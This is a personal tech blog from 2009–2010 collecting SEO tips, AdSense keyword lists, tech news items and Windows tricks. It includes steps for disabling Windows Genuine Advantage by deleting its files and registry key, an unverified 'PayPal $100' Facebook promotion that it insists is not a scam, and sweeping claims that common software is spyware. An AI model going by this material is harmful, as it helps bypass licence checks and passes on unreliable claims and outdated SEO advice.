World Of Tricks

Your blog not bringing the kind of visitors you want?

2010-07-12T07:08:00.001-07:00

Give good time for your valuable blog readers by writing quality interesting original content, if you have more to write, its not necessary to write only technical content, you can very well write you experience in the related field and share your good and bad experience on the fields you like and involved.

(1) For the start, choose catchy titles and interesting titles, which is valuable and should be unique

(2) Don’t urge by adding blogs by count, write few good blogs and gradually increase the count, you obviously will increase your blog posts when you see comments from your loveable visitors in future :)

(3) Select or think topic on problems vs. solutions, and write your experiences and thoughts and ask for comments and add their valuable ideas towards your blog, this will create pillars for your blog

(4) Don’t use too much of images like banners in blog, since blog is only meant for content and make your visitors to read your valuable write-ups, of course you can add your photo :)

(5) Take your blog readers to a casual mood when reading your contents and make them interested to visit you again and again, help them by adding a feed reader or bookmark so that they can easily add, don’t make your visitor strain :)

(6) Focus on navigation links so that your visitors can easily access your blog and can move from one post to another post

Is it possible to follow above points? I try to keep these points in my mind but some times i miss :), bust follow these things and be a successful blogger, Good Luck

Ooops!!! Did I forget something that you know to make a blog much more good? Sure there are lots more; drop them to comments, Enjoy blogging, All The Best

Top Tips For Great SEO Expert

2010-07-12T07:06:00.000-07:00

Top Tips For Great Seo Expert Hot New!

(1)Add Title related to targeted keywords, place only important keywords, do not exceed more than 25 characters.

(2)Add meta description related to Title tag. Repeat keywords used in title two times in meta description.Meta description should be unique for each pages with targeted keywords. Do not stuff keywords into meta description. Do note exceed 255 characters.
Note: Meta description and web page content should be a good one, if not it be placed in supplement results in "Google"

(3)Add meta keywords related to targeted keywords,now only meta search engine focus in this meta keywords.

(4)Add robots tag to tell search engine spider like googlebot and msnbot to index page and follow.

(5)Add re-visit tag to tell search engine to visit our site in number of days like "7 days" etc.

(6)Add Keywords towards H1 tag.

(7)Add Bread crumbs to increase web site navigation structure
(8)Add static Header and footer navigation links, Links should be text not as images.

(9)Config 404 for broken links in-order to avoid customers and clients moving away from our site.It can be done using IIS for asp server or .htaccess for PHP server.

(10)Analyze your targeted keywords using overture keyword selector tool or google suggest.

(11)Compare between two selected keywords using google fight tool.

(12)Focus strong keywords and weak keywords for the website, weak keywords will be supportive for strong keywords and for clients initial business.

(13)Add optimized content towards home page and inner page, give more importance to home or index page to make search engine index fast and efficient.

(14)Do one way and two way link exchange with worthy and quality sites to make your website more popular, its like tuning the site for web site popularity.

(15)Add links to directories more relevant to your web site, it will bring business through referrals and popularity.

(16)Add sitemap to web site.

(17)Create google site map to your web site and upload to your server and submit to google web master to tell search engine about the web pages in your site. This can be mostly useful for shopping or online product sale site.

(18)Add your web site to Dmoz and yahoo Dir, this will bring more hits to your web site. dmoz database shared by many search engines and directories including Great Google.

(19)Create feed xml, html xml and ror xml for xml search engines and directories.

(20)Monitor your hits and traffic by using free google analytics.

Get FREE SEO Tip of the day Google gadget here

2010-07-12T07:03:00.000-07:00

We are happy when we learn new SEO tip a day, it may be a designer, developer, webmaster, SEO person or business entrepreneur. Yes here you can find a FREE SEO Tip of the day Google gadget bug free one which will display a SEO tip per day. It’s just simple to add, check the below link / code, it can be added either to the web page or to the iGoogle, so that you don't miss the SEO Tips.

http://www.google.com/ig/directory?synd=open&num=24&url=http://dailyseotips.googlepages.com/SEO-tips.xml&output=html

Understanding Keyword Density

2010-07-12T07:01:00.002-07:00

Do you know why your competitor always stands TOP and some goes DOWN to END?

Competitor who stands top all-time understands keyword density, high competitive keyword position can be attained only through proper keyword density and it can be approximately 2 - 8%.

Some list fast and we think how they do, they stuff keywords and dont meet keyword density rule, don’t mind them as a long term competitor, they can be dropped anytime, i have noticed many.

Try out this tool go rank which helps you to optimize websites with proper keyword density ratio

How keyword density been calculated?

Keyword density concerns with the ratio (%) of your keywords added within total number of indexed words within a webpage

Keyword density in % = Targeted Keywords / total number of indexed words * 100 (within a webpage)

Suppose, you have used keyword 10 times on your page and total number of words on your webpage is 200. So in this case 10 divided by 200 = .05

Keyword density is referred as percentage. So we need to multiply .05 by 100 to get percentage figure

Calculation would look like this:

.05 x 100 = 5%

So your page has a keyword density of 5%.

By this you can optimize your webpage effectively "matching keyword density, meeting SE algorithm rule" which brings top results on the search engines.

How to do Mobile SEO? - Tips and Best Practices

2010-07-12T07:01:00.001-07:00

Mobile SEO is different from desktop SEO and Mobile phones and not used like desktops. Content, navigations and user experience are different from desktops to mobiles. Here is a list of tips and best practice that can help you when you start with a mobile SEO,

(1) To start with you need to think that you are going to target mobile users and not
desktop users. Plan for it.
(2) As told mobile users are different and as well mobile search engines are different like Google Mobile, Medio and Jumptap.
(3) Get a dotMobi domain and build your mobile web site, for the best and effective SEO.
This has more value than 'yourdomain.com/mobile' or 'm.yourdomain.com'
(4) Ensure that you don't use flash, Ajax, frames and other presentations. Make it simple and clean. This will help to load faster that serves users and as well for the bots to find it easy.
(5) Use compliant markup language and mobile-friendly style sheets (CSS). This means WML
(or WAP 1.0) / xHTML. Make sure you go for W3C's MobileOK guidelines
http://www.w3.org/TR/mobileOK-basic10-tests/
(6) Make sure that your mobile site code is crawl-able by using proper headers and
robots.text file.
(7) Make use of the mobile predictive search key phrases that helps with your business and location. Optimize the mobile site based on the most preferred predictive search key
phrases.
(8) Study you mobile audience and competitors rather than desktop audience and
competitors. Optimize your mobile site content with those mobile search key phrases and categories that your mobile audience will be using.
(12) Make sure that you have good level of outbound links and the navigation is easy to for users and bots.
(13) Ensure you key content is placed in the top part of the page as the users and bots will find it easy.
(14) Build sitemap xml for you mobile site and submit to Google Webmaster tool under
mobile sitemap section.
(15) Submit your mobile site to mobile search engines and top directories like dmoz in order to know about you site and to build inlinks.

Aim to work on these tips and practices to proceed with good mobile SEO. Configure Google Analytics for you mobile site and see the difference in your business from your mobile audience.

SEO Lies and Truths

2010-07-12T06:58:00.000-07:00

SEO deals with research and analysis and one can call him as a SEO specialist only through good long-term experience in various theme based industries and business sites.

Lie one - Come to us with $ we will get you #1 position for your keyword by a day, a week or a month. And some proudly say that if an SEO company doesn't guarantee then they don’t know SEO. So funny, may be they have the access to the Google organic listing Database or they might be talking about Google Adwords (PPC)

As a SEO client you can challenge those companies whom guarantees. Find and provide them a high or medium competitive keyword or keywords. Find those related theme based keywords using free Google keyword tool. You can see the fact on such.

I don't say #1 is not possible at all; it has to come though long time period based on so many acts and figures and not by a day, a week or a month. Use your commonsense, Google search your top keyword and find how your competitor ranks and in total how many competitors and in how many years of efforts. These types of basic analyses will educate you to find what is possible within a timeframe.

As well check that the company does "While hat SEO" and they are not into keyword stuffing and to all bad practice that are against Google guidelines, known as black hat SEO.

Note: May be, weak keywords with no search count or a very low search count keywords can be achieved in a short time, see that it reflects your ROI or it is a waste of time and money.

Lie Two - SEO is all about number of links. We build 10,000 links over night. Pay us $ for the links and get referral traffic and organic listing.

There are companies who build links with software’s or host directories in their servers for link backs. Do ask them for quality links rather than quantity links. Ranging from a small site to big site, quality links on an average 20 to 50 a month will do with traffic and results you look for.

Lie Three - Pay us $, we rephrase your competitor content based on your top keywords and list top above your competitor listing.

It is not the fact, now Google and other search engines are so smart to find those and push the results back. May be for few days the content lists in top but no use looking at long term.

Write content on what you offer in your own style and write content on what you know about the business practice and resources. Do not duplicate the same resources in different forms. Write better information than your competitor. Make readers happy, and then obviously search engines will make you happy.

Lie Four - Some web design or development companies says we do not build links every month so like other SEO companies we do not charge for SEO maintenance. Links are not that important now. Only keywords are important and we do add keywords to your site and it is only one time SEO setup and one time charge.

Off-page optimization (Link building) is as important as on-page optimizations (Site and keywords optimization). Quality links with site keywords as anchor text is one of the major factor in SEO and non-SEO companies lack knowledge on these areas like site submission to right directories and sites.

Lie Five - Money back offer is a catching word that attracts so many SEO clients. They present in such a way that they return the money if they do not obtain the results. They mix the strong keywords, weak keywords and keywords that do not have user search count. In few months when SEO client don't get business through SEO they asks for results and they are shown with keywords that has no search count or weak keywords position that do not produce quality traffic.

SEO client, when you see Money back offer in SEO sites or emails, then provide them the keywords you like your site to get listed. See that the user count for those keywords are high and medium, then your $ will be valued.

Note: The blog post points to some SEO companies and not all

Any other SEO lies you heard?

State those in below comment section.

Good Adbrite Paying Keywords

2010-07-12T06:51:00.000-07:00

These keywords are awesome, they generate $0.11 to $2.26 per click for me. I don’t know if these are the highest paying keywords for Adbrite but I’m sure they are definitely the top 25 keywords. First, let me make it clear, Adult keywords do not make you any extra money in Adbrite. Adult keywords just throw you to their other network – BlackLabelAds. (Tip: If you use these keywords in Adsense, except a minimum $2/click)

I have got many emails asking me for these keywords and how does Adbrite always display the ads on my website and there is never an “Advertise on this website – Powered by Adbrite” page. Its simple, I know my keywords very well :-)

My suggestion to you here would be to pick atleast 10 keywords that match with your website. You can choose the highest paying keywords and make more money or choose the keywords which you think your reader/viewers would like to see/click. It means the same thing – More clicks = More money

The keywords which I choose are:

affiliate marketing
affiliates
free
hosting
make money online
money
seo
web hosting

You can always try your own keywords. It is not necessary go with the ones which I suggest, but if you do, you are atleast making $0.20/click. Not bad to make money with Adbrite eh? ;) These are good keywords if you have been banned by Adsense and want to make the same click ratio again.

How to improve your Google page rank

2010-07-12T01:46:00.000-07:00

The mechanics of how to improve your Google page rank can clearly never carry any guarantees of success. The formula which Google employs to determine its page rank has by its very nature to remain a closely guarded secret or it would lose all of its intrinsic value and become meaningless. This does not mean, however, that there are not ways in which a Webmaster can take very significant steps to enhancing their chances of improving their Google page rank.

The first thing which the crawling Google spiders take in to account when indexing a website is the quantity, quality, relevance and freshness of the site's content. It is imperative that any website have plenty of quality content on it which is kept extremely relevant to the subject of the site and is kept both fresh and up to date. Websites which are essentially left to stagnate, without regular updates in this respect, will be likely to plummet in the Google rankings.

Keywords are important to a Website in improving its Google page rank. These are words or small phrases which are extremely relevant to the subject of the site and should be included in the textual content fairly regularly. Google page rank varies its keyword optimisation formula but it is generally believed to fluctuate between two and five percent.

Relevant outbound links are important for any website looking to achieve a high Google page rank. These links should be to other sites or blogs on the subject of the website to assist visitors to the site in finding out more information on the subject. Including links in this fashion should never be considered as a means of diverting traffic away from a website but rather as providing a valuable service for its traffic.

Just as outbound links are important for improving Google page rank, so too are inbound links, linking to the website from elsewhere. These can be achieved by linking to it (in both directions) from the Webmaster's blog and social networking pages. They can be achieved by submitting it to social book-marking sites such as Digg or Reddit. They can even be achieved by contacting bloggers or Webmasters on related sites and suggesting reciprocal links. It is important to brainstorm legitimate ways of obtaining these links and do so at every opportunity.

The steps outlined above should improve the Google page rank of a website to at least some extent and if the Webmaster is also lucky, hopefully take the website on to Google's exalted front page for a relevant search.

Windows, Oracle, Sql,etc.....HUGE COMMAND LIST

2010-07-10T05:04:00.000-07:00

http://ss64.com/

Lots and lots of useful commands and keyboard shortcuts

Why Your Google Adsense Account is Not Getting Approved

2009-12-22T01:45:00.000-08:00

Getting a adsense account approved is a bit difficult task for most of the new bloggers as Google Adsense team is more strict than ever now. In this article I am going to explain why your adsense account is not getting approved.

our application for Google Adsense will not be approved if your website or blog do not satisfy any of the following guidelines :

* First of all your website must be your own top level domain like www.example.com and not the sub domain like www.example.com/blog.

* Your website must contain only substantial and original content.

* You must provide accurate personal information with your application that matches the information on your domain registration.

* Your website must comply with Google Adsense program policies which are given here : https://www.google.com/adsense/policies

So if your website/blog satisfies these guidelines then don’t forget and move ahead to apply for an Adsense account.

These guidelines are given by Google and not by me so these are mandatory conditions for any website to get an Adsense account :)

Twitter, Iranian Reformer Sites Hacked by ‘Iranian Cyber Army’

2009-12-18T20:12:00.000-08:00

Twitter suffered a hack attack overnight, with its Web pages redirecting to a site for the “Iranian Cyber Army.” Twitter later Friday posted an update that said its domain name records “were temporarily compromised but have now been fixed” and promised another update “once we’ve investigated more fully.”

Iranian reformist Web site Mowjcamp also appeared to be hacked by the same group.

TechCrunch has a number of screenshots and videos of the hacks, which also affected Google’s listing for the sites.

It wasn’t immediately clear who was responsible for the attacks.

As The Wall Street Journal reported earlier this month, Iran has been conducting a campaign of harassing and intimidating members of its diaspora world-wide — not just prominent dissidents — who criticize the regime, according to former Iranian lawmakers and former members of Iran’s elite security force, the Revolutionary Guard, with knowledge of the program. Part of the effort involves tracking the Facebook, Twitter and YouTube activity of Iranians around the world, and identifying them at opposition protests abroad, these people say.

Tips to Get Success in Social Networking Sites

2009-12-17T00:49:00.000-08:00

No one can deny that social networking website works as a perfect tool for branding and promoting your blog. We use so many tricks for search engines ranking but we hardly use any tips for getting recognized in social media.

Here are few tips for getting Success Social Networking websites:

1. Have a decent username: It is always better to have a decent username it may be relevant to your blog or might be your name. When it comes to have username for your blog promotion, you need to choose a professional username not a funky. Professional username shows your sincerity towards your blog and people know that you are not on social network for fun. Your profile must not contain some childish or funky content; it should be about your professional career, your aim and your blog.

2. Your blog look: If you want that other help you in promoting your blog, your blog must be that worthy. People only promote or join the blogs which they feel is informative and unique. Your blog’s theme and lookout must be good enough so that people like to visit your blog again and again. Bad designs repel readers and thus they don’t like to promote the blog.

3. Research: It is always better to do some research about the visitors on social networking websites. Check out the category relevant to your blog content. You must check that the post which you are linking is done by someone else also and what was the response for that link. Thus, a bit of homework can help you to a lot in succeeding in social networks.

4. Link must be informative: If you are passing any link through your tweets, messages or scrap. You must be sure that the link is worth promoting. The content must be updated, unique, informative and to the point. Every day thousands of links are posted on social networking websites but we only read which we find interesting or useful. Thus, you must be aware that your link is worth promoting.

5. Viral Marketing: Viral marketing is best way to promote your blog on social networking websites. If you are not aware of viral marketing, you can read in detail about it here. But again your link must be interesting enough that other would like to pass. Like it can be something funny, global cause or current news with a good title and good description. You need to plan before going for viral marketing.

Hope these tips will help you to use social networking websites efficiently and if you have some more tips to add, do share with us.

Twitter's Top 10 Tech Trends of 2009

2009-12-16T04:34:00.000-08:00

The Twitterati have spoken!

Throughout 2009, a few tech topics got so much attention that they managed to make Twitter's trends. Google Wave was one of the most notable of these, obviously, but what were the other subjects of such interest to Twitter-using geeks? Twitter has just released a list of the top 10 technology-related trending topics of the year; here's what tweeps have been talking about.

1. Google Wave

The most-talked-about app of the year - on Twitter and likely in many other circles, was Google Wave. As invitations rolled out in waves, each initiate was given a limited number of invites to pass on to friends and colleagues. This left the twittersphere clamoring for Wave invites and drove the keyword into Twitter's general trending topics on multiple occasions.

If Wave did nothing else right, they certainly mastered the art of the viral marketing campaign.

2. Snow Leopard

Apple fanboys (and girls) the world around rejoiced when the newest Mac operating system was released this year. Snow Leopard was announced at Apple's Worldwide Developer Conference in June 2008, which meant that Mac geeks had been waiting to buy their copies for more than a year by the time the OS hit shelves in August of this year.

3. Tweetdeck

This Twitter app became wildly successful this year and made tech headlines for its Facebook and LinkedIn integration, its iPhone app (a strong competitor to challenge Tweetie 2), its themed interfaces, and more.

4. Windows 7

The longsuffering Windows users among us had long been suffering when Windows 7 was released this year. Better, smarter, faster and less buggy, the OS promised to be the answer to our prayers and a reason to hold our heads up in front of Mac users. Windows also had an interesting marketing campaign that kept their OS on the tips of tongues - and the top of trends - for several months running.

5. CES

The Consumer Electronics Show, held each year in Las Vegas, is a gadget geek's version of the AVN Awards, also held each year in Las Vegas. Coincidence? Most definitely.

6. Palm Pre

Several years ago, geeks fell in love with the Treo. Then Palm devices kind of fell off the face of the earth and out of public favor until this year, when the company released the tiny touchscreen device known as the Pre. The first iteration of the device hasn't yet become overwhelmingly popular, but the Pre definitely has its fans.

7. Google Latitude

In 2005, location-based app Dodgeball was bought by Google. The Dodgeball creators went on to make Foursquare, and this year, Google replaced Dodgeball with Latitude, which very simply shows you where your friends are on Google Maps. Latitude could be the basis for more tricky applications in the future, but location tech in general can be a difficult technology to master.

8. #E3

Another yearly holy-grail-of-its-industry conference, E3, the Electronic Entertainment Expo, is held in Los Angeles. This con is where gamer geeks die and go to heaven.

9. #amazonfail

Amazon suffered public criticism this year when certain gay and lesbian books were removed from sales rankings for containing adult content. The trouble was, most of the titles in question weren't "adult" in nature at all, leading media and the general public to the conclusion that Amazon execs were deeply and terribly homophobic. In the end, it turned out that a single Amazon employee in France set a Boolean flag on adult content from False to True, taking out 57,000 books in his wake. Whoopsie!

10. Macworld

And finally, there was MacWorld. Steve Jobs was unable to make the event, and Apple announced that the 2009 con would be the last year the company would participate in the show. The company announced a few modest treats, including new versions of iLife and iWork, as well as a 17-inch MacBook. Apple further announced that music sold on iTunes would be DRM-free.

And that's it for Twitter's top trends! Do you think the right topics got the most attention? What do you think would have been trend #11? Let us know your thoughts in the comments!

Paypal Giving Away $100 to Facebook Users

2009-12-16T04:16:00.000-08:00

Hey guys,
Came across this promotion from paypal for facebook users. You need to have paypal account (if not you can create one for free at www.paypal.com and of course most of you are already on facebook.Just Login to yor facebook account and click here to create your wishlist of favorite things.

CLICK HERE TO CREATE YOUR WISHLIST

You get $1 just for adding this app. Then invite your facebook friends and get $1 for each friend.

Upto $100 credited directly to your paypal account.
And yes this is not a scam. It is a promotion run directly by paypal in association with facebook.
Enjoy!

Host a party, get Windows 7 free

2009-09-06T05:54:00.001-07:00

If you're looking for the cheapest possible way to get your hands on Windows 7, you might be interested in a free copy of Windows 7 Ultimate - but you'll need some understanding friends.

As reported over on TechRadar, Microsoft is hoping to boost interest in its next-generation operating system by offering the chance to get free limited Signature Editions of the top-end Windows 7 Ultimate OS - by hosting launch day parties.

If you're willing to risk alienating a bunch of your friends, you can apply host a party between the 22nd and 29th of October to be in with a chance of getting both the Windows 7 Ultimate Signature Edition plus "your very own Windows 7 Party Pack."

Microsoft has very kindly provided a choice of thrilling themes for your party: Media Mania, Setting up with Ease, Family Friendly Fun, and - seriously - "PhotoPalooza." Once you've chosen your theme, you'll receive assistance from "House Party, the world's leading party organizer" and have the opportunity to "upload photos and videos, chat with other hosts, blog your experience, and download fun favours all from your personal House Party page."

While it's certainly a fairly cheap way of getting your hands on the next version of Windows, it remains to be seen just how much fun you could have with a theme of "Setting up with Ease." Rumours of a "take a shot for each exclamation mark in Device Manager" are, as far as can be seen, totally untrue.

Yahoo Set to Give Competition to Twitter

2009-09-06T05:36:00.000-07:00

Yahoo has quietly announced Yahoo Meme micro-blogging service in English after its soft launch in Spanish and Portuguese. Meme is currently in an invite-only mode. Once the account is created after receiving invitation, users get a blank blog for micro-sharing text, images, music, videos or mash up of all these things.

Registration is simple and gives a Meme URL based on Username like http://meme.yahoo.com/Username. That s just like Twitter and Facebook offers Username URLs.

Meme's setting panel has minimal options like Meme title, 100 character Description, avatar/photo and notifications. Along with that, Meme also offers page layout customization with Themes. On the Meme page, users can post text, photos, videos and all together for sharing with other users. Just like Twitter and Tumblr users do, Meme users can search for other users using the Find option on the top of the page and Follow them to receive their Meme updates.

Meme users can have threaded conversations in the Comment option under every meme post. Also, users can repost the Memes of other users just like Tumblr offers Reblog . At this stage, the Meme service looks very basic and lacks bunch of other features that other competing services into micro-sharing offer. Just like Twitter Trends, Meme has a Popular option that shows Memes posted by users recently.

Mininova is dead, must filter torrents

2009-08-29T00:02:00.001-07:00

A Dutch judge has today killed the large torrent tracker Mininova, telling the site to either delete all copyrighted content from the tracker, or pay a €5 million penalty.

The site had been charged with "contributory copyright infringement," by the Dutch anti-piracy agency BREIN, as the site did no direct copyright infringement.

Mininova notably removed links if copyright holders flagged them, but as with all trackers, when one went down, five would take its place, making the whole situation redundant.

The new court decision says Mininova was profiting from "inciting copyright infringement" and made over €1 million in 2007 on ad sales. Estimates have said about 90 percent of Mininova content is infringing.

The site must now "adopt proactive filtering" of copyrighted content or face a large fine.

Most Expensive iPhone

2009-08-28T01:22:00.000-07:00

The most expensive iPhone (Princess Plus) has a price tag of USD176,400 and is created by Austrian luxury designer and jeweler Peter Aloisson. There are 319 diamonds with 138 Princess cut (where the name of the iPhone was derived) and 180 brilliant cut. There is a total of 17.75 carats of diamond set in 18k white gold around its rim. The first customer is a Russian businessman who preordered it in October 2007. A lesser priced iPhone with only the brilliant cut diamonds can be purchased at a more modest price of USD66,150.

Facebook acquires FriendFeed – Will it affect Twitter?

2009-08-27T23:48:00.000-07:00

This is a shocking but interesting news. Facebook has acquired FriendFeed. FriendFeed is mostly used for combining our all online accounts (Twitter, Facebook, SU etc) and staying updated to others. It is not good as Twitter and has a small user base compared to Facebook and Twitter. But FriendFeed has many great features that gives more controls to users. Facebook was trying to acquire it from a long time and finally FriendFeed has accepted their request.
Future of FrienFeed

FriendFeed mentions that it will continue its services. FriendFeed employees and Founders get positions in the Facebook team. You can long to your FriendFeed accounts using the same info. you used till now. Facebook can now bring more features from FriendFeed and improve present features.
Will it affect Twitter?

Most of the FriendFeed content is delivered by Twitter users, there are very less users who update their status from FriendFeed. FriendFeed is a platform for combining all social media activity and Twitter has a major role in it. So as of now it will not affect Twitter.

So what do you think about this? Will it affect Facebook or Twitter?

Twitter adopts the reTweets – but changes the way you see them

2009-08-27T23:44:00.000-07:00

Twitter is set to adopt the reTweets. You will be soon able to reTweet by just clicking a button and that too in a new way. reTweeting is a great way to share someone’s thoughts/useful links with your followers. As Twitter announced on its official blog, the new RTs will show the original Tweet of the user you reTweeted in your streamline. Means your followers will be see the original Tweet along with your name in it.

The new way of reTweeting looks good and useful. But it may also lead users to confusions. By reTweeting the first Tweeter would be getting exposer to more audience and that is good too. It can also help you to connect with more interesting people and discover new things. But it may also work opposite. When you are following a lot of people on Twitter but you take care of only a few user Tweets, then you may ignore some good reTweets of your friends because they will show the person you don’t know or don’t care of. Well, this is the first phase of ‘Project Retweet’, wait for more news from Twitter. This is how Twitter plans.

Top 20 Temporary and Disposable Email Services

2009-08-27T06:00:00.000-07:00

Temporary Mailbox Services

Now a days Internet has become a home to spam. Millions of spam bots crawl the web daily to find email addresses and then bombard them with spam emails thus destroying their efficiency and creating problems for users. The best solution to this is to get a temporary or disposable email inbox which automatically expires after a certain time period.

Benefits of Temporary/Disposable Mailbox

There are many advantages of having a temporary or disposable mailbox on the web. But here are some key benefits:

* Protect you from spam mails
* Protect your mailbox from exploits, spoofs and hoaxes
* Require no signup and/or registration
* Automatically expire after a certain time period

Top 20 Temporary Mailbox services

Collected below is a list of best temporary/disposable email services that provide you give you a temporary email inbox which is totally spam free and needs no registration or sign up:

1. Mailinator is one of the best and top rated disposable email services that gives you a temporary mailbox on the following address format e.g. something@mailinator.com

2. MyTrashMail is another good temporary mail service that gives you a mailbox in the address format e.g. something@trashymail.com and also gives you secure temporary mailbox if you signup

3. MailExpire stands out in the crowd by giving you the option to have a temporary inbox ranging from 12 hours expiry to as long as 3 months

4. TemporaryInbox is yet another simple and easy to use temporary email service that gives you an email address in different formats

5. MailEater gives you a free temporary email inbox in the format e.g. something@MailEater.com

6. Jetable not only allows you to set the life span of your temporary email inbox but also allows you to forward the mails in your temporary inbox to your real email address

7. SpamBox gives you a temporary email address in the format e.g. something@spambox.us and also allows you to set the lifespan of your inbox

8. GuerillaMail lets you generate a temporary email which expires in a time of 15 minutes and also tell you how to offer a temporary email service on your site.

9. SpamHole provides you a 2 hour long temporary email inbox at the address format e.g. something@spamhole.com

10. 10MinuteMail generates an easy 10 minute email inbox for your temporary email needs

11. DontReg is one bigger, better, faster and safer temporary email inbox solution

12. TempoMail is one new temporary email inbox services that give you spam-free mailbox

13. TempEmail aims to give you a fast, anonymous yet secure temporary email inbox

14. PookMail is a multi-language temporary email inbox service that gives an email address in the format e.g. something@pookmail.com

15. SpamFree24 is a new multi-domain temporary email inbox service which is growing rapidly

16. KasMail requires registration, allows up to 25 aliases, can set aliases to expire after a certain amount of time.

17. SpamMotel requires registration, provides mail forwarding, mail can be accessed through desktop e-mail clients, can reply to e-mail from your real e-mail address using SpamMotel e-mail.

18. GreenSloth requires no registration, receive-only, e-mail expires automatically after a week

19. AnonInbox requires no registration, simple, no frills.

20. Spam.la is a fast disposable email service which requires no registration, no frills. You can see all spam being sent to all Spam.la accounts, or just your own.

Norton Internet Security 2010

2009-08-27T05:48:00.001-07:00

The beta test version of Norton Internet Security 2010 is the fastest, most effective security solution we have ever offered. Norton Internet Security offers comprehensive protection against all types of online threats.

This year the Norton Protection System has been enhanced with Norton Safe Web, an extraordinarily effective new antispam engine and our new SONAR 2 technology to stop new and unknown threats.

To protect your PC’s performance, we have added the Norton Performance System. And to help you manage your identity, Identity Safe has been made portable.

A new Japanese gadget is coming soon to rock the world!

2009-08-27T05:46:00.000-07:00

In this gadget you can start or stop the music when the wearer sticks his tongue out. If he opens his eyes wide, then also the song will be changed.

This gadget is called as a "Mimi Switch" or "Ear Switch". It is similar to a normal headphone and it is fitted with a set of infrared sensors that will measure the tiny movements inside the ear! This gadget can also store data like a normal flash drive.

This gadget will also play a cheerful song, if you aren't smiling enough!!!

Adobe Is Spying On Its Users

2009-03-19T21:54:00.000-07:00

Dan Moren of Uneasy Silence first posted about the apparent data sniffing on Wednesday night. Using a program for Mac OS called Little Snitch, he was able to discover Adobe's hidden practice.

The data transmission was discovered in Adobe InDesign CS3 for Mac.In any case, at first glance the address may look like a IP address, and a local one if that. In many routers, 192.168.xxx.xxx is used for internal networking. However this address looks different.Data is sent to 192.168.112.2O7.net.

Two things would appear immediately awry to the experienced eye: first, no IP address includes any alphabetic characters in it, this address includes the letter 'O' in place of a zero. Second, it ends in '.net,' and no IP address ends in any kind of DNS suffix.

So where does this data apparently go? Loading up the address itself in a web browser takes the surfer to a page owned by Ominture, a large web analytics company."Yes, Adobe is watching how many times you open your programs. Adobe is spying on users application habits," Moren wrote.

Apparently, Adobe has already addressed this through an article on its Devnet site. It says it uses Omniture to track usage of an application to 'create better user experiences.'

Everyone knows that adobe flash is spyware,google toolbar is spyware, free firewalls and antivirals are spywares too. I see we're back on the privacy kick once again. If you're connected to the net you don't have any privacy. If you think you do, you're exceedingly naive. Slashdot had an article about cable and DSL suppliers monitoring their customers use of bit torrent for file sharing and shutting down those who do. That means you are being watched. If that scares you, you need to stop using your computer. There are way too many people on the net anyway.

Disable Windows Genuine Advantage Notification in 3 Simple Steps

2009-03-19T21:45:00.000-07:00

Following three simple steps now you can get rid of Windows Genuine Advantage (WGA) notifications:

1. Reboot Windows in safe mode (hold the f8 key while booting and you will get the option to boot in safe mode) and then:

2. Open Registry Editor (regedit.exe) and search for wgalogon folder and delete it. You should backup up the registry beforehand, in case somethiong goes wrong.

3. In your windows directory search for files wga* and delete them.
You are done!

Now reboot back normally and continue your work. Windows Genuine Advantage will not bother you anymore.

Warning: Use at your own risk. Backup everything before you do.

Create Your Own Run Command For Any Specific Application

2009-02-03T00:10:00.000-08:00

This trick will help you to make your own Run Command (program shortcut) to run a program or a document directly. No more need to navigate the location of a program or document to run it, simply click on Start button to open Run box and type the programs shortcut name to open it directly.

Follow the given steps to disable the save settings functionality for desktop:

To use this feature, you will need to be logged into your computer with administrative rights.

Click Start button and type regedit in Run option then press Enter for next.

Here locate the location to:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App paths

Now right click on App Paths and select New > Key, title the key and name it whatever you want your run command to be. In this case, we will try to create a run command for SecueCRT application.

New > Key > SecureCRT.exe

Now select the SecureCRT.exe folder and click right on (Default) string value then click Modify at the right hand side panel.

Here enter the path of the program that you want to execute in the value data field. In our case, the path of SecueCRT application will be C:\Program Files\VanDyke Software\SecureCRT \SecureCRT.exe.

Now again in right side panel, click right to create a new String value with the name SecureCRT and its values as C:\Program Files\VanDyke Software\SecureCRT\SecureCRT.exe.

Now close the registry editor and restart your computer after any changes to go into effect.

No to ALL Option Missing?

2009-02-02T23:50:00.000-08:00

It will give four options ‘Yes’ ‘Yes to All’ ‘No’ and ‘Cancel’. But what about No to All??
There is no such option given. You can perform ‘No to All by’ simple trick. Just hold the Shift and press No. It will perform No to All operation.

How To View Hidden Files And Folders In Windows 7

2009-02-02T23:44:00.000-08:00

This is the easiest one but for those who don’t know…

* Click on Start.
* Open Control Panel.
* Go to Folder Options.
* Click on view tab.
* Check “Hidden files and folders: Show all files and folders”.
* Uncheck “Hide protected operating system files (Recommended)”.
* Click “Apply” and then “OK”.

How To Read/Open Data From .nbu Files

2009-02-02T23:39:00.000-08:00

.nbu files are the backup files created when you create the backup for your Nokia Mobile. It is created using Nokia PC suite and later can be restored to your phone. Only problem is we can’t open the .nbu files without any nokia device.

To overcome this problem we have one software called NOKI. From their site:

Noki is a utility to explore and extract Phone book, SMS, Calendar, Memo, Bookmark and other user files from the backup file of Nokia phone (using Nokia PC Suite).

Features:

* Supports .nbu, .nfb and .nfc.
* contacts.cdb: Symbian Contacts Database for all Symbian phones (include Nokia, Siemens, Sony Ericsson etc.).
* backup.arc: mass storage/SD card backup file.
* Softpedia security certified.

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Put Your Web Page On Desktop

2009-02-01T06:52:00.001-08:00

HERE IS A TRICK TO PUT ur web PAGE ON OUR DESKTOP

To put a Web page on your desktop, start by right-clicking on an empty space on the desktop. THEN
Click on "Properties" to open the display properties dialog box.

To add a Web page to ur desktop:

1. Click on the desktop tab in the display properties dialog box

2. Click the "Customize Desktop." button

In the desktop items dialog box, click on the Web tab

The settings on the Web tab allow you to add new Web pages to ur desktop & customize their settings.From this screen, u can add a Web page to your desktop and customize its settings.

How To Get Your Blog Ranked High On Google

2009-02-01T06:46:00.000-08:00

1. Select Your Keywords and Keyword PhrasesChoose the keywords and keyword phrases you want your blog post to rank high for on the Google search engine results page. For example, I want my blog post to rank high for the term, "blog ranked high on Google." Currently there are approximately 286,000 pages using this term so I'll have to do everything in my power to compete with these web pages to get my blog post on the first page of the Google results page for that term.My keyword phrase also includes other keyword phrases like, "ranked high on Google" with about 310,000 competing pages and "high on Google" with over 71 million competing pages. Getting to the first page for these terms would be a bonus -:d))

